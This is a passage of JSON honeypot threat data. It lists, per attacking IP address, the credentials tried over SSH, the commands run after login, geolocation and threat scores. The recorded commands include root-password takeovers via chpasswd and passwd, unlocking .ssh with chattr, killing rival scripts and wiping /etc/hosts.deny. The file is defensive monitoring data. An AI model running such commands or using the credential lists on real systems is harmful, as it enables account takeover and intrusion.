        "echo -e \"qa\\nUT1rDbSALqaj\\nUT1rDbSALqaj\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Timon",
      "asn": 270603,
      "as_org": "R R DE FRANCA SOUSA",
      "threat_score": 51.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.2,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T11:24:40.639000+00:00",
        "last_seen_30d": "2026-04-29T18:38:36.459000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 68
      }
    },
    "89.190.156.80": {
      "attack_count": 261,
      "first_seen": "2026-04-19T10:51:22.719Z",
      "last_seen": "2026-04-19T11:25:07.387Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "ubuntu",
        "adc",
        "amir",
        "elastic",
        "ftpuser",
        "oracle",
        "postgres",
        "steam",
        "user1",
        "z"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1234ABCD",
        "123qwe",
        "123qwe!@#",
        "1qaz!QAZ@123",
        "Airtel@123",
        "Ba123456",
        "Oracle123!",
        "Root2021$",
        "Wz123456",
        "XXxx112233",
        "a",
        "a123456+",
        "a12345679",
        "adc123",
        "admin1234#",
        "amir123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:GQTMlhUgppK4\"|chpasswd|bash",
        "echo \"root:zMM35PxEckeV\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:51:22.719000+00:00",
        "last_seen_30d": "2026-04-19T11:26:12.953000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 65
      }
    },
    "38.242.202.212": {
      "attack_count": 256,
      "first_seen": "2026-04-30T18:56:04.849Z",
      "last_seen": "2026-04-30T18:58:24.674Z",
      "sessions": 128,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 385,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T18:56:04.849000+00:00",
        "last_seen_30d": "2026-04-30T18:59:25.857000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 256,
        "Suricata": 129
      }
    },
    "190.0.63.226": {
      "attack_count": 253,
      "first_seen": "2026-04-15T00:40:06.044Z",
      "last_seen": "2026-04-15T01:21:48.917Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "postgres",
        "ubuntu",
        "ftpuser",
        "sammy",
        "steam",
        "testftp",
        "testout",
        "user4"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "123654",
        "1qa@WS3ed",
        "1qwe2qaz",
        "Ftpuser$",
        "QA2ws3ed@",
        "Qazwsx123123#$",
        "Sammy06",
        "Senha@123",
        "ZAQ!2wsx2023@123",
        "ZAQ!2wsx2026!!",
        "abc",
        "admin123456",
        "asd!",
        "postgres07",
        "qwer2026",
        "root21!",
        "root29"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"asd!\\nrj40f2k93iaf\\nrj40f2k93iaf\\n\"|passwd",
        "echo \"u\\nU882ifFVFRo2\\nU882ifFVFRo2\\n\"|passwd",
        "echo -e \"asd!\\nrj40f2k93iaf\\nrj40f2k93iaf\"|passwd|bash",
        "echo -e \"u\\nU882ifFVFRo2\\nU882ifFVFRo2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 13489,
      "as_org": "UNE EPM TELECOMUNICACIONES S.A.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 315,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T00:40:06.044000+00:00",
        "last_seen_30d": "2026-04-15T01:22:57.167000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 253,
        "Suricata": 62
      }
    },
    "162.19.243.145": {
      "attack_count": 244,
      "first_seen": "2026-04-14T00:11:13.463Z",
      "last_seen": "2026-04-14T00:47:49.578Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "service",
        "ali",
        "es",
        "imapuser",
        "info",
        "mainuser",
        "mohammad",
        "postgres",
        "steam",
        "student3",
        "testing",
        "tmp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123456",
        "1qaz2wsx",
        "2025#",
        "999999999",
        "A12345661",
        "Abcd@123",
        "I2KPwdI5",
        "Passw0rd@123",
        "Ubuntu23",
        "Yc@123456",
        "ZAQ!2wsx321!",
        "ali9",
        "info123",
        "odoo12",
        "password",
        "postgres@1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"999999999\\nv72PwXwTJOTX\\nv72PwXwTJOTX\\n\"|passwd",
        "echo \"user\\nq8gxeNspp23z\\nq8gxeNspp23z\\n\"|passwd",
        "echo -e \"999999999\\nv72PwXwTJOTX\\nv72PwXwTJOTX\"|passwd|bash",
        "echo -e \"user\\nq8gxeNspp23z\\nq8gxeNspp23z\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T00:11:13.463000+00:00",
        "last_seen_30d": "2026-04-14T00:48:59.106000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 244,
        "Suricata": 56
      }
    },
    "13.71.92.229": {
      "attack_count": 219,
      "first_seen": "2026-04-29T10:54:28.867Z",
      "last_seen": "2026-04-29T13:19:40.377Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ali",
        "345gs5662d34",
        "deploy",
        "elasticsearch",
        "guest",
        "sftpuser",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "!@#!@#!@#",
        "1qaz2wsx3edc$rfv",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa1234567890@",
        "Admin1234567890",
        "Cyber@123",
        "Ok123123",
        "P@$$W0rd",
        "Rd@123456",
        "Temp1234",
        "Temp123456",
        "Welcome2024",
        "abc+123",
        "abcd1234ABCD!@#$",
        "abcd2025",
        "ali!",
        "cartorio",
        "dell-2026",
        "es123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ali!\\nsoPPFTrpWzac\\nsoPPFTrpWzac\\n\"|passwd",
        "echo -e \"ali!\\nsoPPFTrpWzac\\nsoPPFTrpWzac\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T10:54:28.867000+00:00",
        "last_seen_30d": "2026-04-29T13:20:45.187000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "186.103.169.12": {
      "attack_count": 218,
      "first_seen": "2026-04-28T21:58:43.895Z",
      "last_seen": "2026-04-28T22:40:17.738Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "postgres",
        "admin",
        "dockeruser",
        "345gs5662d34",
        "amir",
        "db2inst1",
        "deployer",
        "ftpusertest",
        "git",
        "gitlab",
        "hadoop",
        "mysql",
        "oracle",
        "ossuser",
        "ovpn",
        "test",
        "testuser1",
        "vpn"
      ],
      "passwords_attempted": [
        "123",
        "123456Kk",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "666666",
        "P@ssw0rd",
        "Password@123",
        "abcd12345",
        "admin",
        "admin12#",
        "admin777",
        "amir1234",
        "asdf",
        "asdfhjkl",
        "changeme",
        "ftpusertest",
        "git@321",
        "hadoop",
        "mary"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\n5nbwkc2piEvq\\n5nbwkc2piEvq\\n\"|passwd",
        "echo -e \"123\\n5nbwkc2piEvq\\n5nbwkc2piEvq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "San Bernardo",
      "asn": 15311,
      "as_org": "TELEFONICA EMPRESAS CHILE SA",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T21:58:43.895000+00:00",
        "last_seen_30d": "2026-04-28T22:41:27.836000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "20.123.146.95": {
      "attack_count": 212,
      "first_seen": "2026-04-04T07:40:14.676Z",
      "last_seen": "2026-04-29T10:42:29.747Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ai",
        "bot",
        "debian",
        "lampuser",
        "mysql",
        "postgres",
        "speedtest",
        "suporte",
        "teste",
        "teste1",
        "testftp",
        "user",
        "www"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "$RFV5tgb",
        "123",
        "1234",
        "1234567",
        "12345678",
        "1qaz@WSX",
        "Qazwsx123456!@#",
        "admin",
        "bot1@",
        "q1w2e3r4",
        "speedtest123",
        "test",
        "test123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"admin\\nQfVmdSWzD9ig\\nQfVmdSWzD9ig\\n\"|passwd",
        "echo \"root:dFd0ZBIXAu4n\"|chpasswd|bash",
        "echo -e \"admin\\nQfVmdSWzD9ig\\nQfVmdSWzD9ig\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.1,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:40:14.676000+00:00",
        "last_seen_30d": "2026-04-29T10:43:36.754000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 47
      }
    },
    "101.36.107.233": {
      "attack_count": 194,
      "first_seen": "2026-04-16T14:00:46.377Z",
      "last_seen": "2026-04-16T14:40:50.447Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "postgres",
        "steam",
        "345gs5662d34",
        "debianuser",
        "ftpuser",
        "noc",
        "steam1",
        "sysadmin",
        "teamspeak",
        "testuser",
        "toto",
        "user",
        "yann"
      ],
      "passwords_attempted": [
        "123123123",
        "123456",
        "123456zZ",
        "123459",
        "1234rewq",
        "1q2w!Q@W",
        "1qaz..",
        "1qazXSW@",
        "2026!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "@WSX1qaz",
        "Abc123@",
        "Aswdaswd456",
        "Letmein@123",
        "Password1",
        "Qazwsx000..",
        "Qazwsx888@@",
        "Teamspeak2026!",
        "User23!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"2026!@#\\nqAVI7vrYGi4R\\nqAVI7vrYGi4R\\n\"|passwd",
        "echo -e \"2026!@#\\nqAVI7vrYGi4R\\nqAVI7vrYGi4R\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T14:00:46.377000+00:00",
        "last_seen_30d": "2026-04-16T14:41:54.145000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 61
      }
    },
    "116.193.191.46": {
      "attack_count": 194,
      "first_seen": "2026-04-05T14:02:15.198Z",
      "last_seen": "2026-04-05T15:11:14.795Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "bot",
        "345gs5662d34",
        "ansadmin",
        "artem",
        "bitcoin",
        "ftpuser",
        "fuser",
        "odoo",
        "oracle",
        "postgres",
        "root1",
        "test",
        "testuser",
        "vpn"
      ],
      "passwords_attempted": [
        "123abc",
        "2022",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456-",
        "Abcd12345678.",
        "Admin@1234",
        "Bot2025",
        "Ftpuser123456",
        "Odoo05!",
        "QWERTYUIOP12",
        "Qazwsx2023!@#",
        "Root16!",
        "Server2025@",
        "Vpn2",
        "ZAQ!@123",
        "a123456/",
        "abc123xyz",
        "ansadmin@123",
        "artem"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Bot2025\\no0o9fSBRuL79\\no0o9fSBRuL79\\n\"|passwd",
        "echo -e \"Bot2025\\no0o9fSBRuL79\\no0o9fSBRuL79\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T14:02:15.198000+00:00",
        "last_seen_30d": "2026-04-05T15:12:23.521000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 67
      }
    },
    "223.197.186.7": {
      "attack_count": 194,
      "first_seen": "2026-04-09T03:33:10.228Z",
      "last_seen": "2026-04-09T04:20:18.856Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "automation",
        "centos",
        "deploy",
        "elasticsearch",
        "ldapuser",
        "minecraft",
        "postgres",
        "pyuser",
        "teamspeak",
        "temp",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "159357",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc$RFV",
        "AA1234567",
        "Postgres22",
        "Qazwsx11111#",
        "Qazwsx2019@@",
        "Qwe000",
        "User@123",
        "asdfgh",
        "automation",
        "centos",
        "elastic",
        "jenkins",
        "minecraftminecraft",
        "password",
        "prueba123",
        "pyuser123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"zaq12wsx!\\nzL509RaJspqf\\nzL509RaJspqf\\n\"|passwd",
        "echo -e \"zaq12wsx!\\nzL509RaJspqf\\nzL509RaJspqf\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T03:33:10.228000+00:00",
        "last_seen_30d": "2026-04-09T04:21:21.501000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "201.186.40.250": {
      "attack_count": 178,
      "first_seen": "2026-04-23T00:28:29.075Z",
      "last_seen": "2026-04-23T01:08:53.403Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1234",
        "centos",
        "ftpuser",
        "git",
        "odoo",
        "oracle",
        "sap_user",
        "siteadmin",
        "systems",
        "testuser1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "000000",
        "001002",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "AAdd123",
        "Aa121314",
        "Asdf@@",
        "ZZqq1234",
        "a123456h",
        "aabbcc",
        "admin1234",
        "apple",
        "git@1234",
        "huang123",
        "mas@2026",
        "masoud",
        "odoo23!",
        "oracletest",
        "qazwsx54321@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:itFpqQc8h5Rf\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Los \u00c1ngeles",
      "asn": 14117,
      "as_org": "Telefonica del Sur S.A.",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T00:28:29.075000+00:00",
        "last_seen_30d": "2026-04-23T01:09:55.046000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 54
      }
    },
